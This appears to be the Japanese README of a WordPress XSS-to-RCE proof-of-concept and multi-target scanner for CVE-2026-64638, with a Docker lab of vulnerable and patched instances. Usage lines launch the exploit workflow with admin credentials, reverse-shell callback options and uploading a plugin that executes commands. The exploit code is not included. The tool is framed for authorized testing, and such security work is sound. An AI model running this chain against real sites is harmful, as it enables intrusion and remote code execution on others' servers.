
認可されたWordPress向けXSS-to-RCEスキャナー。並行した複数ターゲットのXSSリフレクション検出とバージョンフィンガープリント検出に加え、オプションのエクスプロイトワークフローを備えています。
開発者: YogaGymn
認可されたWordPressセキュリティテスト向けのPoC/スキャンユーティリティ。 本プロジェクトには、単一ターゲットのエクスプロイトワークフローと、並行マルチターゲットのスキャンのみモードが含まれています。
重要: 本プロジェクトは、自身が所有するか、テストの明示的な許可を得ているWordPressインストールに対してのみ使用してください。マルチターゲットスキャナーは、意図的にフィンガープリンティングとXSSリフレクション検出に限定されています。ターゲットリストに対して認証情報の取得、プラグインのアップロード、RCEを実行することはありません。
元のスクリプトは以下をサポートしています:
auto、xss、directモード。追加されたスキャナーは以下をサポートしています:
ThreadPoolExecutorによる並行スキャン。マルチターゲットモードは、元のRCE関数を呼び出しません。
requests依存関係をインストールします:
python3 -m pip install requests
Linux ディストリビューションが外部管理の Python 環境を使用している場合は、仮想環境を使用してください:
python3 -m venv .venv
source .venv/bin/activate
pip install requests
プロジェクトをクローンまたはコピーします:
git clone https://github.com/yogaGymn/XSS2Shell-CVE-2026-64638
cd XSS2Shell-CVE-2026-64638
または単に配置します:
xss2shell.py
作業ディレクトリ内にあります。
targets.txt という名前のファイルを作成します:
https://example1.test
https://example2.test
https://example3.test
コメントと空行は無視されます:
# Authorized lab targets
https://example1.test
https://example2.test
スキャナーを実行します:
python3 xss2shell.py -i targets.txt
デフォルトの同時実行数は10ワーカーです。
例えば、20ワーカーを使用する場合:
python3 xss2shell.py -i targets.txt --workers 20
小規模なラボの場合:
python3 xss2shell.py -i targets.txt --workers 5
不要不必要に高いワーカー数を選択しないでください。接続負荷が増加し、レート制限や防御的制御が発動する可能性があります。
python3 xss2shell.py \
-i targets.txt \
--workers 10 \
--output results.txt
[*] Multiple-target scan: 3 target(s)
[*] Concurrent workers: 10
[*] Scan-only: WordPress fingerprint + XSS reflection check
[*] No login, plugin upload, credential capture, or RCE
[1/3] https://example1.test | WP=6.8.2 | XSS=XSS_NOT_DETECTED (ESCAPED)
[2/3] https://example2.test | WP=6.7.1 | XSS=XSS_REFLECTION_DETECTED (AREA_BYPASS)
[3/3] https://example3.test | WP=unknown | XSS=XSS_NOT_DETECTED (NOT_REFLECTED)
=======================================================
MULTIPLE-TARGET SCAN COMPLETE
=======================================================
Total targets : 3
XSS detected : 1
Not detected : 2
Errors : 0
Results saved : scan_results.txt
デフォルトの scan_results.txt はタブ区切りのフィールドを使用します:
TARGET WORDPRESS_VERSION XSS_STATUS XSS_DETAIL
例:
https://example1.test 6.8.2 XSS_NOT_DETECTED ESCAPED
https://example2.test 6.7.1 XSS_REFLECTION_DETECTED AREA_BYPASS
ステータス 意味
XSS_REFLECTION_DETECTED スキャナがテスト対象のHTMLリフレクション
挙動を検出しました。これはそれ自体が
RCEの証明ではありません。
XSS_NOT_DETECTED テスト対象のリフレクションは
検出されませんでした。
ERROR チェック中に例外が発生しました。スキャナは次のような詳細を報告できます:
RAW_HTMLAREA_BYPASSESCAPEDSTRIPPEDNOT_REFLECTEDこれらの値は検出ルーチンが観測したレスポンスを表します。結果を確認済みの脆弱性として扱う前に、手動で検証する必要があります。
元のスクリプトは単一ターゲット引数にも対応しています。
python3 xss2shell.py \
-u admin \
-p 'PASSWORD' \
http://authorized-target.test
python3 xss2shell.py \
--mode direct \
-u admin \
-p 'PASSWORD' \
http://authorized-target.test
python3 xss2shell.py \
--mode xss \
--lhost 192.0.2.10 \
http://authorized-lab.test
XSS/直接ワークフローは、コマンド実行機能を含むプラグインを作成または有効化する可能性があります。これらは認可されたテスト環境内でのみ使用してください。
usage: xss2shell.py [-h]
[-i TARGET_FILE] [--output OUTPUT] [--workers WORKERS]
[--mode {auto,xss,direct}]
[-u USERNAME] [-p PASSWORD]
[--lhost LHOST] [--lport LPORT]
[--slug SLUG] [--callback-port CALLBACK_PORT]
[--no-rev]
[target]
引数 説明
target 単一のターゲットURL。
-i, --input 複数のターゲットを含むファイル。
--output マルチターゲット結果の出力ファイル。
デフォルト:
scan_results.txt。
--workers 同時実行ワーカー数。
デフォルト: 10。
--mode 元のシングルターゲットモード:
auto、xss、または direct。
-u, --username 元の直接/フォールバックワークフロー用の
WordPressユーザー名。
-p, --password 元の直接/フォールバックワークフロー用の
WordPressパスワード。
--lhost 元のPoC用のコールバック/リバースシェル
ホスト。
--lport リバースシェルポート。デフォルト:
4444。
--slug プラグインスラッグ。デフォルト: xss2shell。
--callback-port コールバックサーバーポート。デフォルト:
9090。
--no-rev 元のワークフローでのリバースシェル
トリガーをスキップします。マルチターゲットモードでは、Pythonの以下を使用します:
ThreadPoolExecutor
各ターゲットは独立したスキャンタスクとして送信されます:
targets.txt
|
v
+----+----+----+----+
| T1 | T2 | T3 | T4 | ...
+----+----+----+----+
| | | |
v v v v
WP WP WP WP
XSS XSS XSS XSS
| | | |
+----+----+----+
|
v
scan_results.txt
ワーカーが完了するたびに結果が収集され、最終出力は元のターゲット順序に従って書き込まれます。
マルチターゲットモードは、許可されたセキュリティ評価およびラボ環境向けに設計されています。
推奨ワークフロー:
targets.txt には許可されたドメイン/IP のみを記載する。許可なく第三者システムに対してスキャナーを使用しないでください。
このスキャナーは完全な脆弱性評価ツールではありません。
特に:
unknown はターゲットが脆弱であることを意味しません。.
├── xss2shell.py
├── targets.txt
└── scan_results.txt
CVE-2026-64638(WordPress Core ログインページにおける認証前リフレクテッド XSS)に対して、レッドチーム向け検出ツールをテストするためのローカルで分離されたラボです。
| サービス | 役割 | ローカルポート | WordPress バージョン |
|---|---|---|---|
wp-vulnerable | 脆弱版 | 8081 | 6.4(脆弱な範囲 6.4–7.0.2 内) |
wp-patched | 修正版 | 8082 | 最新(Docker Hub で利用可能になり次第 7.0.3 に固定) |
adminer | DB インスペクター | 8083 | - |
すべてのポートは 127.0.0.1 にのみバインドされているため、ホストマシンの外部からはアクセスできません。
docker compose up -d
docker compose ps
MySQL が起動するまで 15~30 秒待ってから、次を開きます:
両方のインスタンスで標準の WordPress インストールウィザードを完了します(管理者アカウントの作成など)。